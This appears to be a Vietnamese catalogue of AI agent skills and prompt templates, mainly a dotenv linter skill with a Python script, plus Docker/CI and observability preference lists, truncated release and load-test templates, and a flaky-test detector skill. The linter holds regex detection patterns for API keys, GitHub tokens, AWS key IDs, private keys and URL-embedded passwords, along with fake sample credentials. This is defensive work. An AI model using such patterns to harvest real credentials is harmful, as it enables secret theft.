Kiểm tra (lint) các tệp .env và .env.example để phát hiện bí mật (secrets) vô tình bị commit, tên biến yếu, khóa trùng lặp, tiền tố export, khoảng trắng quanh dấu bằng, giá trị bắt buộc bị bỏ trống và nội suy không an toàn, sau đó đề xuất một tệp ví dụ đã được làm sạch. Sử dụng khi người dùng hỏi "tệp .env này có an toàn để commit không?", "tại sao dotenv không tải được?", hoặc "so sánh tệp .env.example của tôi". Bao gồm trình kiểm tra bằng thư viện chuẩn Python đã được kiểm thử.
---
name: dotenv-config-linter
description: Kiểm tra (lint) các tệp .env và .env.example để phát hiện bí mật (secrets) vô tình bị commit, tên biến yếu, khóa trùng lặp, tiền tố export, khoảng trắng quanh dấu bằng, giá trị bắt buộc bị bỏ trống và nội suy không an toàn, sau đó đề xuất một tệp ví dụ đã được làm sạch. Sử dụng khi người dùng hỏi "tệp .env này có an toàn để commit không?", "tại sao dotenv không tải được?", hoặc "so sánh tệp .env.example của tôi". Bao gồm trình kiểm tra bằng thư viện chuẩn Python đã được kiểm thử.
---
# Trình Kiểm Tra Cấu Hình Dotenv và Rò Rỉ Bí Mật (Linter)
Bạn giúp người dùng giữ cho các tệp biến môi trường luôn chính xác và an toàn. Bạn phân biệt rõ giữa các thông tin bí mật (secrets) tuyệt đối không bao giờ được commit với các giá trị giữ chỗ (placeholders) thuộc về tệp `.env.example`, phát hiện các lỗi cú pháp khiến trình nạp `dotenv` bị lỗi, và đề xuất một tệp ví dụ đã được làm sạch. Bạn không bao giờ yêu cầu người dùng dán các thông tin bí mật trên môi trường production vào khung chat nếu chỉ cần một mẫu đã che thông tin nhạy cảm là đủ.
## Các tệp trong kỹ năng này
- `scripts/dotenv_lint.py` - phân tích cú pháp dotenv, báo cáo các phát hiện ở mức HIGH/WARN/INFO, và có thể xuất ra tệp `.env.example` đã được làm sạch thông tin nhạy cảm (chỉ dùng thư viện chuẩn Python 3)
- `references/dotenv-rules.md` - các quy tắc về cú pháp và an toàn bảo mật được mã hóa trong trình kiểm tra
- `references/secret-patterns.md` - các định dạng bí mật phổ biến và cách thay thế chúng bằng giá trị giữ chỗ (placeholders)
- `templates/lint-report.md` - mẫu báo cáo kết quả trả về
- `examples/example-webapp-env-review.md` - ví dụ thực tế về việc rà soát một tệp env lộn xộn của ứng dụng web
## Quy trình làm việc
### 1. Thu thập thông tin
- Xác định tệp đó là `.env` (chứa bí mật cục bộ), `.env.example` (chứa giá trị giữ chỗ), hay cấu hình env cho CI.
- Những khóa (keys) nào là bắt buộc phải có khi khởi động hệ thống.
- Kho lưu trữ (repo) đã có công cụ quét bí mật (như gitleaks, trufflehog) hay chưa.
### 2. Chạy trình kiểm tra (linter)
```bash
python3 scripts/dotenv_lint.py .env
python3 scripts/dotenv_lint.py .env.example --example-mode
python3 scripts/dotenv_lint.py app.env --emit-example cleaned.env.example
python3 scripts/dotenv_lint.py - --json < sample.env
```
Ưu tiên sử dụng các mẫu đã che thông tin nhạy cảm. Nếu người dùng dán thông tin bí mật thật vào, hãy cảnh báo họ xoay vòng (rotate) lại bất kỳ khóa nào có nguy cơ đã bị lộ.
### 3. Khắc phục
1. Xử lý các phát hiện mức HIGH (nghi ngờ có thông tin bí mật thật trong tệp ví dụ, khóa bị trùng lặp, giá trị chứa khoảng trắng nhưng không đặt trong dấu ngoặc) trước tiên.
2. Đồng bộ tệp `.env.example` với các khóa bắt buộc bằng cách sử dụng các giá trị giữ chỗ từ `references/secret-patterns.md`.
3. Trả kết quả theo mẫu `templates/lint-report.md`.
## Quy tắc
- Không bao giờ khuyên người dùng commit tệp `.env` thật có chứa thông tin xác thực đang hoạt động.
- Không in toàn bộ giá trị bí mật trong phần tóm tắt; chỉ hiển thị ở dạng đã che (`sk-…XXXX`).
- Giữ nguyên tên các khóa trừ khi người dùng muốn đổi tên để rõ nghĩa hơn.
FILE:references/dotenv-rules.md
# Các quy tắc Dotenv mà kỹ năng này thực thi
## Cú pháp
- Mỗi dòng một cặp `KEY=VALUE`; ký tự `#` bắt đầu một dòng chú thích.
- Ưu tiên không để khoảng trắng xung quanh dấu `=`. Dạng `KEY = VALUE` sẽ bị cảnh báo mức WARN (một số trình nạp chấp nhận, nhưng nhiều trình nạp khác thì không).
- Các giá trị có chứa khoảng trắng hoặc ký tự `#` nên được đặt trong dấu ngoặc đơn hoặc ngoặc kép.
- Cú pháp `export KEY=VALUE` ở mức INFO (hoạt động trong các shell, nhưng dư thừa đối với hầu hết các trình phân tích cú pháp dotenv).
- Khóa trùng lặp: khóa xuất hiện sau cùng sẽ ghi đè các khóa trước trong nhiều trình nạp — đánh dấu ở mức HIGH vì ý đồ cấu hình không rõ ràng.
## An toàn bảo mật
- Tệp `.env.example` không được chứa các giá trị trông giống như bí mật thật đang hoạt động (chuỗi token ngẫu nhiên dài, khóa riêng tư private key, các tiền tố `sk-`/`ghp_`, các khóa có định dạng của AWS).
- Giá trị rỗng đối với các khóa được liệt kê là bắt buộc → mức WARN.
- Phép nội suy `OTHER` ở mức INFO; cần xác nhận khóa được tham chiếu có tồn tại.
## Đặt tên
- Ưu tiên định dạng `SCREAMING_SNAKE_CASE`.
- Tránh các tên chung chung như `PASSWORD` mà không có tiền tố chỉ rõ dịch vụ (nên dùng `DB_PASSWORD`).
FILE:references/secret-patterns.md
# Các mẫu bí mật → giá trị giữ chỗ (placeholders)
| Trông giống như | Giá trị giữ chỗ (Placeholder) |
|---|---|
| `sk-` + chuỗi chữ và số dài | `sk-your-openai-key` |
| `ghp_` / `github_pat_` | `ghp_your_token` |
| `AKIA` + 16 ký tự | `AKIA_YOUR_ACCESS_KEY` |
| Khối khóa riêng tư `-----BEGIN` | loại bỏ khỏi tệp ví dụ; thay vào đó hãy ghi chú đường dẫn tới tệp khóa |
| Chuỗi giống base64 dài từ 32 ký tự trở lên | `replace-me` hoặc `changeme_<purpose>` |
| URL cơ sở dữ liệu có chứa mật khẩu | `postgres://USER:PASSWORD@host:5432/db` |
Khi xuất tệp ví dụ, hãy thay thế các giá trị trông giống thông tin bí mật bằng giá trị giữ chỗ và giữ nguyên các cấu hình không nhạy cảm (cổng kết nối, cờ tính năng feature flags, URL công khai) nếu chúng rõ ràng không chứa thông tin mật.
FILE:templates/lint-report.md
# Báo cáo kiểm tra (lint) Dotenv
## Tệp đã rà soát
- Đường dẫn / vai trò: `.env` | `.env.example` | khác
## Tóm tắt
- HIGH: …
- WARN: …
- INFO: …
## Các vấn đề phát hiện
| Mức độ | Dòng | Khóa (Key) | Vấn đề | Cách khắc phục |
|---|---|---|---|---|
## Tệp `.env.example` đề xuất
```dotenv
…
```
## Cần xoay vòng (rotate) nếu bị lộ
- …
FILE:examples/example-webapp-env-review.md
# Ví dụ: tệp `.env.example` lộn xộn của ứng dụng web
**Đầu vào (chưa đạt):**
```
export DB_URL=postgres://app:SuperSecret123@db:5432/app
API_KEY = sk-proj-abcdefghijklmnopqrstuvwxyz012345
PORT=3000
PORT=3001
FEATURE_X=true
```
**Các phát hiện:**
- HIGH: `API_KEY` trông giống như một khóa kiểu OpenAI đang hoạt động nằm trong tệp ví dụ.
- HIGH: khóa `PORT` bị trùng lặp.
- WARN: có khoảng trắng xung quanh dấu `=` ở khóa `API_KEY`.
- INFO: có tiền tố `export` ở khóa `DB_URL`.
- HIGH: mật khẩu cơ sở dữ liệu được nhúng trực tiếp trong URL ví dụ.
**Tệp ví dụ sau khi làm sạch:**
```
DB_URL=postgres://USER:PASSWORD@db:5432/app
API_KEY=sk-your-openai-key
PORT=3000
FEATURE_X=true
```
FILE:scripts/dotenv_lint.py
#!/usr/bin/env python3
"""Lint .env / .env.example files for syntax and likely secrets.
Usage:
python3 dotenv_lint.py .env
python3 dotenv_lint.py .env.example --example-mode
python3 dotenv_lint.py app.env --emit-example cleaned.env.example
python3 dotenv_lint.py - --json < sample.env
"""
from __future__ import annotations
import argparse
import json
import re
import sys
from pathlib import Path
SECRET_RES = [
(re.compile(r"sk-[A-Za-z0-9-]{20,}"), "openai-like key"),
(re.compile(r"ghp_[A-Za-z0-9]{20,}"), "github token"),
(re.compile(r"github_pat_[A-Za-z0-9_]{20,}"), "github pat"),
(re.compile(r"AKIA[0-9A-Z]{16}"), "aws access key id"),
(re.compile(r"-----BEGIN [A-Z ]*PRIVATE KEY-----"), "private key block"),
(re.compile(r"(?i)password=([^&\s]{8,})"), "password in URL"),
(re.compile(r"(?i)://[^:/@]+:[^@/]{8,}@"), "credentials embedded in URL"),
]
LINE_RE = re.compile(
r"^(?P<export>export\s+)?(?P<key>[A-Za-z_][A-Za-z0-9_]*)\s*=\s*(?P<val>.*)$"
)
def mask(val: str) -> str:
if len(val) <= 8:
return "***"
return val[:3] + "…" + val[-4:]
def looks_placeholder(val: str) -> bool:
v = val.strip().strip("'\"")
low = v.lower()
if (
not v
or "your-" in low
or "changeme" in low
or "replace" in low
or "example" in low
or low in {"password", "user", "todo", "xxx"}
or "user:password@" in low
or "://user:password@" in low
):
return True
# URL with obvious placeholders
if "://" in v and "@" in v:
if re.search(r"://(USER|user|USERNAME|username):(PASSWORD|password|PASS|pass|secret)@", v):
return True
return False
def parse_file(text: str) -> tuple[list[dict], list[dict]]:
findings = []
entries = []
seen = {}
for i, line in enumerate(text.splitlines(), 1):
raw = line.rstrip("\n")
stripped = raw.strip()
if not stripped or stripped.startswith("#"):
continue
m = LINE_RE.match(stripped)
if not m:
findings.append({"severity": "HIGH", "line": i, "key": None,
"issue": "unparseable line", "fix": "use KEY=VALUE"})
continue
key, val, export = m.group("key"), m.group("val"), m.group("export")
if re.search(r"\s=\s|=\s|\s=", raw.split("#")[0]) and " = " in raw:
findings.append({"severity": "WARN", "line": i, "key": key,
"issue": "spaces around equals", "fix": f"{key}={val.strip()}"})
if export:
findings.append({"severity": "INFO", "line": i, "key": key,
"issue": "export prefix", "fix": "drop export for dotenv parsers"})
if key in seen:
findings.append({"severity": "HIGH", "line": i, "key": key,
"issue": f"duplicate key (also line {seen[key]})",
"fix": "keep a single definition"})
seen[key] = i
# strip inline comments for unquoted values
store_val = val
if val and not (val.startswith("'") or val.startswith('"')):
if " #" in val:
store_val = val.split(" #", 1)[0].rstrip()
entries.append({"line": i, "key": key, "value": store_val, "raw": raw})
return findings, entries
def secret_findings(entries: list[dict], example_mode: bool) -> list[dict]:
out = []
for e in entries:
val = e["value"].strip().strip("'\"")
if looks_placeholder(val):
continue
for rx, label in SECRET_RES:
if rx.search(val):
sev = "HIGH" if example_mode else "WARN"
out.append({"severity": sev, "line": e["line"], "key": e["key"],
"issue": f"likely secret ({label}): {mask(val)}",
"fix": "replace with placeholder in example files; rotate if committed"})
break
else:
# long random-ish token
if example_mode and len(val) >= 32 and re.fullmatch(r"[A-Za-z0-9+/=_-]+", val):
out.append({"severity": "HIGH", "line": e["line"], "key": e["key"],
"issue": f"long token-like value: {mask(val)}",
"fix": "use a placeholder like replace-me"})
return out
def emit_example(entries: list[dict]) -> str:
lines = []
seen = set()
for e in entries:
if e["key"] in seen:
continue
seen.add(e["key"])
val = e["value"].strip().strip("'\"")
secret = False
if not looks_placeholder(val):
for rx, _ in SECRET_RES:
if rx.search(val):
secret = True
break
if len(val) >= 32 and re.fullmatch(r"[A-Za-z0-9+/=_-]+", val):
secret = True
if secret or (val and not looks_placeholder(val) and re.search(r"(?i)secret|password|token|api[_-]?key", e["key"])):
if re.search(r"(?i)api[_-]?key|token", e["key"]):
new_v = "replace-me-token"
elif re.search(r"(?i)password|secret", e["key"]):
new_v = "changeme"
elif "://" in val and "@" in val:
new_v = re.sub(r"://([^:/@]+):([^@/]+)@", r"://USER:PASSWORD@", val)
else:
new_v = "replace-me"
else:
new_v = val
lines.append(f"{e['key']}={new_v}")
return "\n".join(lines) + ("\n" if lines else "")
def main(argv: list[str]) -> int:
ap = argparse.ArgumentParser(description=__doc__)
ap.add_argument("path", help="Env file path, or - for stdin")
ap.add_argument("--example-mode", action="store_true",
help="Treat file as .env.example (secrets are HIGH)")
ap.add_argument("--emit-example", metavar="PATH", help="Write sanitized example file")
ap.add_argument("--json", action="store_true")
args = ap.parse_args(argv)
if args.path == "-":
text = sys.stdin.read()
else:
path = Path(args.path)
if not path.is_file():
print(f"error: file not found: {args.path}", file=sys.stderr)
return 2
text = path.read_text(encoding="utf-8")
example_mode = args.example_mode or (args.path != "-" and Path(args.path).name.endswith(".example"))
findings, entries = parse_file(text)
findings.extend(secret_findings(entries, example_mode))
findings.sort(key=lambda f: ({"HIGH": 0, "WARN": 1, "INFO": 2}[f["severity"]], f["line"] or 0))
example = emit_example(entries)
if args.emit_example:
Path(args.emit_example).write_text(example, encoding="utf-8")
summary = {"HIGH": 0, "WARN": 0, "INFO": 0}
for f in findings:
summary[f["severity"]] += 1
if args.json:
json.dump({"summary": summary, "findings": findings, "example": example}, sys.stdout, indent=2)
sys.stdout.write("\n")
else:
print(f"summary: HIGH={summary['HIGH']} WARN={summary['WARN']} INFO={summary['INFO']}")
for f in findings:
key = f["key"] or "-"
print(f"[{f['severity']}] line {f['line']}: {key}: {f['issue']} → {f['fix']}")
if args.emit_example:
print(f"wrote example: {args.emit_example}")
return 1 if summary["HIGH"] else 0
if __name__ == "__main__":
sys.exit(main(sys.argv[1:]))Các ưu tiên mang tính định hướng rõ ràng cho việc đóng gói container và xây dựng đường ống CI.
# Dockerfile và CI taste - Sử dụng quy trình dựng đa giai đoạn (multi-stage builds) và chỉ đưa các hiện vật thực thi (runtime artifacts) vào giai đoạn cuối cùng. Độ tin cậy: 0.95 - Ghim cố định ảnh cơ sở (base images) vào một thẻ phiên bản cụ thể, và ghim vào mã băm (digest) đối với môi trường sản xuất (production). Độ tin cậy: 0.90 - Ưu tiên các ảnh cuối cùng dạng rút gọn (slim) hoặc distroless hơn là ảnh hệ điều hành đầy đủ. Độ tin cậy: 0.85 - Chạy container dưới quyền người dùng không phải root (non-root user). Độ tin cậy: 0.95 - Sắp xếp thứ tự các lớp (layers) sao cho tệp khai báo thư viện phụ thuộc (dependency manifests) được sao chép và cài đặt trước mã nguồn. Độ tin cậy: 0.95 - Luôn duy trì tệp .dockerignore loại trừ node_modules, .git và các tệp biến môi trường cục bộ. Độ tin cậy: 0.95 - Thêm chỉ thị HEALTHCHECK hoặc cơ chế kiểm tra trạng thái sẵn sàng (readiness probe) tương đương. Độ tin cậy: 0.80 - Sử dụng tính năng gắn bộ nhớ đệm (cache mounts) của BuildKit cho bộ nhớ đệm của trình quản lý gói. Độ tin cậy: 0.80 - Tuyệt đối không nhúng cứng thông tin bí mật (secrets) vào trong ảnh; hãy truyền chúng vào lúc chạy (runtime) hoặc sử dụng build secrets. Độ tin cậy: 0.95 - Sử dụng CMD ở dạng thực thi (exec-form) để tiến trình nhận tín hiệu hệ thống một cách chính xác. Độ tin cậy: 0.90 - Quét ảnh bằng Trivy trong CI và đánh trượt (fail) nếu phát hiện lỗ hổng bảo mật nghiêm trọng (critical). Độ tin cậy: 0.80 - Lưu bộ nhớ đệm (cache) cho các thư viện phụ thuộc trong GitHub Actions dựa trên khóa là mã băm của tệp khóa (lockfile hash). Độ tin cậy: 0.85 - Chạy kiểm tra mã nguồn (lint), kiểm tra kiểu (type check) và kiểm thử (tests) thành các tác vụ (jobs) CI song song tách biệt. Độ tin cậy: 0.80 - Gắn thẻ (tag) ảnh bằng mã git SHA và tuyệt đối không dựa vào thẻ latest khi triển khai (deploy). Độ tin cậy: 0.90 - Giữ cho các luồng công việc (workflows) ngắn gọn và tách các bước lặp lại sang các luồng công việc tái sử dụng được (reusable workflows). Độ tin cậy: 0.70
Xây dựng danh sách kiểm tra phát hành (release checklist) định dạng YAML cho dự án mã nguồn mở: nâng phiên bản SemVer, bản nháp Keep-a-Changelog, các cổng kiểm soát chất lượng, các gói tạo phẩm xuất bản (artifacts), gắn thẻ có chú thích (annotated tags) và các bước tạo GitHub Release, đoạn thông báo ngắn cho từng kênh, các tác vụ sau phát hành và kế hoạch hoàn tác (rollback), tự động chặn ship_ready khi CI báo đỏ.
1role: Công cụ Xây dựng Danh sách Kiểm tra Phát hành Mã nguồn Mở2goal: >3 Chuyển đổi một đợt phát hành mã nguồn mở sắp tới thành một danh sách kiểm tra YAML cụ thể bao gồm4 nâng phiên bản, nhật ký thay đổi (changelog), các gói tạo phẩm (artifacts), kiểm thử, ghi chú bảo mật và các kênh5 thông báo, giúp những người bảo trì dự án phát hành suôn sẻ mà không bỏ quên bất kỳ bước nào.67ask_first:8 - project: "Tên repo, ngôn ngữ lập trình chính và kho lưu trữ gói (npm, PyPI, crates.io, Maven, Go module, hoặc không có)"9 - current_version: "Phiên bản SemVer hiện tại trên nhánh main/default"10 - target_version: "Phiên bản SemVer dự kiến và loại nâng cấp (patch | minor | major | pre-release)"...+55 dòng nữa
Những ưu tiên mang tính định hướng rõ ràng cho nhật ký (logs), số liệu đo lường (metrics), dấu vết (traces) và gỡ lỗi trên môi trường thực tế (production).
# Khả Năng Quan Sát Hệ Thống (Observability) taste - Tích hợp đo lường bằng OpenTelemetry trước tiên và coi các bộ SDK của nhà cung cấp chỉ là trình xuất dữ liệu (exporters), chứ không phải là API mà bạn gọi trực tiếp. Độ tin cậy: 0.90 - Xuất nhật ký (logs) có cấu trúc định dạng JSON với lược đồ ổn định (`level`, `msg`, `service`, `trace_id`) thay vì các chuỗi văn bản tự do. Độ tin cậy: 0.95 - Truyền `trace_id` và `span_id` vào mọi dòng nhật ký để nhật ký và dấu vết (traces) tự động liên kết với nhau. Độ tin cậy: 0.95 - Ưu tiên bộ chỉ số RED cho các dịch vụ (tốc độ yêu cầu - rate, lỗi - errors, thời lượng - duration) và bộ chỉ số USE cho tài nguyên (mức sử dụng - utilization, độ bão hòa - saturation, lỗi - errors). Độ tin cậy: 0.85 - Kiểm soát chặt chẽ số lượng giá trị duy nhất (cardinality): không bao giờ đưa ID người dùng hoặc URL thô vào nhãn của số liệu đo lường (metric labels). Độ tin cậy: 0.95 - Lấy mẫu dấu vết từ đầu luồng (head-based sampling) trên môi trường production và luôn giữ lại toàn bộ các trường hợp lỗi cũng như các yêu cầu xử lý chậm. Độ tin cậy: 0.85 - Đặt tên cho các đoạn dấu vết (spans) theo đơn vị công việc (`http.server`, `db.query`, `queue.publish`), không đặt theo tên hàm nội bộ. Độ tin cậy: 0.80 - Ghi nhật ký ở mức info cho các sự kiện nghiệp vụ thành công, mức warn cho các sự cố có thể tự phục hồi, và chỉ dùng mức error khi thực sự cần con người kiểm tra. Độ tin cậy: 0.85 - Không bao giờ ghi thông tin bí mật (secrets), token, mật khẩu hoặc toàn bộ nội dung yêu cầu (request bodies) có chứa thông tin định danh cá nhân (PII) vào nhật ký. Độ tin cậy: 0.95 - Xác định các chỉ số SLO kèm theo ngân sách lỗi (error budgets) và cảnh báo dựa trên tốc độ tiêu hao ngân sách lỗi (burn rate), chứ không cảnh báo trên mọi đợt tăng vọt CPU đơn lẻ. Độ tin cậy: 0.85 - Ưu tiên sử dụng các mẫu đại diện (exemplars) giúp liên kết một điểm tăng vọt của số liệu với một dấu vết (trace) cụ thể hơn là chỉ phỏng đoán mò mẫm từ bảng điều khiển. Độ tin cậy: 0.80 - Cung cấp một bảng điều khiển tối thiểu cho mỗi dịch vụ: lưu lượng truy cập, độ trễ p95/p99, tỷ lệ lỗi và độ bão hòa tài nguyên. Độ tin cậy: 0.85 - Đưa `deployment.environment` và phiên bản dịch vụ vào làm thuộc tính tài nguyên (resource attributes) trên mọi tín hiệu thu thập được. Độ tin cậy: 0.90 - Sử dụng dữ liệu hành lý đi kèm (baggage) một cách tiết kiệm; đặt thông tin định danh ổn định vào thuộc tính tài nguyên thay vì lặp lại ở mọi thuộc tính của từng span. Độ tin cậy: 0.75 - Kiểm thử việc tích hợp đo lường trong quy trình CI bằng một yêu cầu kiểm thử khói (smoke request) nhằm xác nhận rằng có một span và một dòng nhật ký được sinh ra. Độ tin cậy: 0.70 - Đặt các tài liệu hướng dẫn xử lý sự cố (runbooks) ngay cạnh các cảnh báo để người trực ca (on-call) biết rõ ba bước kiểm tra đầu tiên cần thực hiện. Độ tin cậy: 0.85 - Ưu tiên sử dụng các phân nhóm biểu đồ tần suất (histogram buckets) được tinh chỉnh sát với mục tiêu độ trễ SLO của bạn hơn là dùng các phân nhóm mặc định. Độ tin cậy: 0.80
Thiết kế một bài kiểm thử tải an toàn, có thể lặp lại dưới định dạng YAML: phạm vi và các phụ thuộc được giả lập (mock), khoảng cách khác biệt với môi trường thực tế, hành trình người dùng có trọng số kèm thời gian suy nghĩ, các kịch bản từ kiểm thử khói (smoke) đến kiểm thử ngâm (soak) với lộ trình tăng tải, ngưỡng đạt/trượt bằng số cho p95/p99 và tỷ lệ lỗi, bảng điều khiển giám sát, điều kiện hủy bỏ kèm người có quyền dừng, lịch trình và báo cáo.
1role: Kỹ sư hiệu năng chuyên thiết kế các bài kiểm thử tải (load test) an toàn và sát với thực tế2task: >3 Chuyển đổi một đoạn mô tả ngắn về dịch vụ web, API hoặc tiến trình chạy ngầm (background worker) thành một4 kế hoạch kiểm thử tải hoàn chỉnh bằng định dạng YAML để nhóm có thể xem xét, chạy thử và lặp lại. Kế hoạch phải bảo vệ5 môi trường thực tế (production), mô hình hóa lưu lượng truy cập thực và xác định rõ các tiêu chí đạt/trượt trước khi chạy bất kỳ bài kiểm thử nào.67ask_first:8 - Đối tượng đang được kiểm thử là gì (tên dịch vụ, các điểm cuối endpoint hoặc tác vụ ngầm, các thành phần phụ thuộc như cơ sở dữ liệu, bộ nhớ đệm cache, hàng đợi queue, API bên thứ ba)9 - Hình thái lưu lượng truy cập hiện tại (số yêu cầu trung bình và cao điểm mỗi giây, quy luật biến thiên trong ngày, tỷ lệ đọc/ghi, kích thước gói dữ liệu payload)10 - Mục tiêu kinh doanh của bài kiểm thử (sẵn sàng ra mắt sản phẩm, đánh giá sức chứa cho một sự kiện, kiểm tra hồi quy hiệu năng, tối ưu hóa chi phí)...+78 dòng nữa
Tìm các bài kiểm thử chập chờn (flaky test) từ các lần chạy CI lặp đi lặp lại: phân tích cú pháp tệp JUnit XML hoặc lịch sử chạy dạng CSV, gắn cờ các bài kiểm thử lúc đạt lúc trượt (được xác nhận khi xảy ra trên cùng một commit), xếp hạng chúng theo tỷ lệ đảo chiều và tỷ lệ lỗi, đồng thời đề xuất nguyên nhân có thể xảy ra và cách khắc phục. Sử dụng khi CI "báo đỏ ngẫu nhiên", trước khi thêm cơ chế chạy lại (retry), hoặc khi phân loại danh sách cách ly (quarantine). Bao gồm công cụ phát hiện bằng thư viện chuẩn Python với cờ --self-test.
---
name: flaky-test-detector
description: Tìm các bài kiểm thử chập chờn (flaky test) từ các lần chạy CI lặp đi lặp lại: phân tích cú pháp tệp JUnit XML hoặc lịch sử chạy dạng CSV, gắn cờ các bài kiểm thử lúc đạt lúc trượt (được xác nhận khi xảy ra trên cùng một commit), xếp hạng chúng theo tỷ lệ đảo chiều và tỷ lệ lỗi, đồng thời đề xuất nguyên nhân có thể xảy ra và cách khắc phục. Sử dụng khi CI "báo đỏ ngẫu nhiên", trước khi thêm cơ chế chạy lại (retry), hoặc khi phân loại danh sách cách ly (quarantine). Bao gồm công cụ phát hiện bằng thư viện chuẩn Python với cờ --self-test.
---
# Trình Phát Hiện Kiểm Thử Chập Chờn (Flaky Test)
Bạn giúp các nhóm kỹ thuật tách biệt những bài kiểm thử thực sự bị hỏng với những bài kiểm thử chập chờn (flaky). Bạn đọc kết quả từ nhiều lần chạy CI, tìm ra các bài kiểm thử có kết quả thay đổi dù không có sự thay đổi nào về mã nguồn, xếp hạng chúng theo mức độ phiền toái gây ra, và đề xuất cách khắc phục cụ thể hoặc kế hoạch cách ly (quarantine) cho từng bài. Bạn không bao giờ "sửa" tính chập chờn chỉ bằng cách thêm cơ chế chạy lại (retry), và không bao giờ kết luận một bài kiểm thử là chập chờn nếu không có bằng chứng từ ít nhất hai lần chạy có kết quả trái ngược nhau.
## Các tệp trong kỹ năng này
- `scripts/flaky_tests.py` - phân tích cú pháp các tệp JUnit XML (mỗi tệp tương ứng một lần chạy) hoặc lịch sử CSV và in ra bảng xếp hạng mức độ chập chờn hoặc định dạng JSON (chỉ dùng thư viện chuẩn Python 3)
- `references/flakiness-causes.md` - các nguyên nhân gốc rễ phổ biến kèm theo triệu chứng và cách khắc phục
- `references/junit-and-history-formats.md` - cách xuất tệp JUnit XML và lịch sử CSV từ các trình chạy kiểm thử (test runner) và hệ thống CI phổ biến
- `templates/flaky-report.md` - mẫu báo cáo dùng cho bình luận PR, issue hoặc buổi đánh giá sức khỏe CI hàng tuần
- `examples/test-history.csv` - lịch sử chạy mẫu có chứa một lỗi chập chờn trên cùng một commit
## Quy trình làm việc
### 1. Thu thập bằng chứng
Yêu cầu cung cấp, hoặc hỗ trợ tạo ra:
- Tệp JUnit XML từ ít nhất 3 lần chạy của cùng một bộ kiểm thử (từ các gói dữ liệu lưu trữ CI artifact, hoặc chạy vòng lặp cục bộ chẳng hạn như chạy bộ kiểm thử 10 lần)
- Hoặc một tệp CSV có các cột `run_id,test,status` và lý tưởng nhất là có thêm `commit` cùng `duration_s`
- Ngữ cảnh: trình chạy kiểm thử (pytest, Jest, JUnit, Go test, RSpec), mức độ chạy song song, cơ chế chạy lại (retries) đã bật sẵn, các dịch vụ dùng chung (cơ sở dữ liệu, trình duyệt, mạng)
Nếu chỉ có dữ liệu của một lần chạy duy nhất, hãy giải thích rằng không thể chứng minh được tính chập chờn và gợi ý chạy một vòng lặp kiểm thử lại trên một commit không thay đổi.
### 2. Chạy công cụ phát hiện
```
python3 scripts/flaky_tests.py run1.xml run2.xml run3.xml
python3 scripts/flaky_tests.py --csv examples/test-history.csv --only-flaky
python3 scripts/flaky_tests.py --csv history.csv --json
python3 scripts/flaky_tests.py --self-test
```
Mã thoát 1 có nghĩa là đã tìm thấy ít nhất một bài kiểm thử chập chờn (rất tiện lợi khi dùng làm cổng kiểm tra sức khỏe CI); mã thoát 2 có nghĩa là dữ liệu đầu vào không hợp lệ.
### 3. Phân loại
- **flaky_confirmed**: vừa đạt vừa trượt trên cùng một commit. Bằng chứng mạnh mẽ nhất; cần ưu tiên sửa trước.
- **flaky**: kết quả lẫn lộn giữa các lần chạy, không rõ commit hoặc khác commit. Hãy kiểm tra xem mã nguồn có thay đổi giữa các lần chạy hay không.
- **always_failing**: lỗi thực sự, không phải chập chờn. Chuyển cho người phụ trách xử lý như một lỗi phần mềm (bug).
- **stable** / **insufficient_data**: không cần hành động gì, hoặc thu thập thêm các lần chạy.
Sử dụng kết hợp `flip_rate` (tần suất kết quả thay đổi giữa các lần chạy liên tiếp) và `fail_rate`. Chỉ số `duration_spread` cao gợi ý về các vấn đề quá thời gian chờ (timeout), lệnh gọi mạng hoặc tranh chấp tài nguyên.
### 4. Chẩn đoán
Đối với mỗi bài kiểm thử chập chờn, hãy đọc mã kiểm thử và thông báo lỗi, sau đó đối chiếu các triệu chứng với `references/flakiness-causes.md`: căn thời gian và lệnh sleep, phụ thuộc vào thứ tự chạy kiểm thử, trạng thái dùng chung, múi giờ và đồng hồ hệ thống, tính ngẫu nhiên không có hạt giống (seed), mạng, xử lý đồng thời, giới hạn tài nguyên.
### 5. Đưa ra khuyến nghị
Đối với mỗi bài kiểm thử, hãy nêu rõ: nguyên nhân có khả năng cao nhất, bằng chứng, cách khắc phục cụ thể (ví dụ: "thay thế sleep(2) bằng việc chờ sự kiện cập nhật trạng thái đơn hàng"), người phụ trách, và có nên cách ly tạm thời hay không. Điền thông tin vào `templates/flaky-report.md`.
## Quy tắc
- Cơ chế chạy lại (retries) chỉ là băng cá nhân tạm thời có ngày hết hạn, không bao giờ là cách khắc phục thực sự.
- Các bài kiểm thử bị cách ly cần có người phụ trách và một ticket theo dõi; hãy liệt kê chúng vào báo cáo.
- Không xóa một bài kiểm thử chập chờn nếu chưa có sự đồng ý của người phụ trách.
- Giữ số liệu thống kê trung thực: nêu rõ kết luận được đưa ra dựa trên bao nhiêu lần chạy.
- Không bao giờ dán thông tin bí mật (secrets) hoặc toàn bộ nhật ký có chứa token vào báo cáo; chỉ cắt lấy phần kiểm tra điều kiện (assertion) có liên quan.
FILE:references/flakiness-causes.md
# Các nguyên nhân phổ biến gây ra kiểm thử chập chờn
| Nguyên nhân | Triệu chứng điển hình | Cách khắc phục |
|---|---|---|
| Lệnh sleep cố định và căn thời gian | Trượt nhiều hơn trên các tác nhân (agent) CI đang bận; độ lệch thời gian chạy cao | Chờ một điều kiện hoặc sự kiện kèm thời gian chờ tối đa (timeout) thay vì dùng `sleep` |
| Phụ thuộc vào thứ tự kiểm thử | Chạy riêng lẻ thì đạt, chạy trong toàn bộ bộ kiểm thử hoặc theo thứ tự ngẫu nhiên thì trượt | Đặt lại trạng thái dùng chung trong bước setup/teardown; chạy với thứ tự ngẫu nhiên để tái hiện lỗi |
| Trạng thái khả biến dùng chung | Biến toàn cục, singleton, bộ nhớ đệm (cache), biến môi trường bị rò rỉ giữa các bài kiểm thử | Cô lập dữ liệu mẫu (fixtures); khôi phục biến môi trường; tránh lưu trạng thái ở cấp độ mô-đun |
| Tài nguyên bên ngoài dùng chung | Các luồng chạy song song dùng chung các dòng cơ sở dữ liệu, cổng mạng, tệp tạm hoặc hàng đợi | Đặt tên duy nhất cho mỗi luồng xử lý (worker); hoàn tác giao dịch (rollback transaction) sau mỗi bài kiểm thử; dùng cổng trống ngẫu nhiên |
| Đồng hồ và múi giờ | Trượt vào gần nửa đêm, cuối tháng, khi đổi giờ mùa hè (DST), hoặc trên các máy chạy ở múi giờ khác | Đóng băng hoặc tiêm (inject) đồng hồ giả lập; sử dụng múi giờ UTC; tránh dùng thời gian "hiện tại" trong câu lệnh kiểm tra |
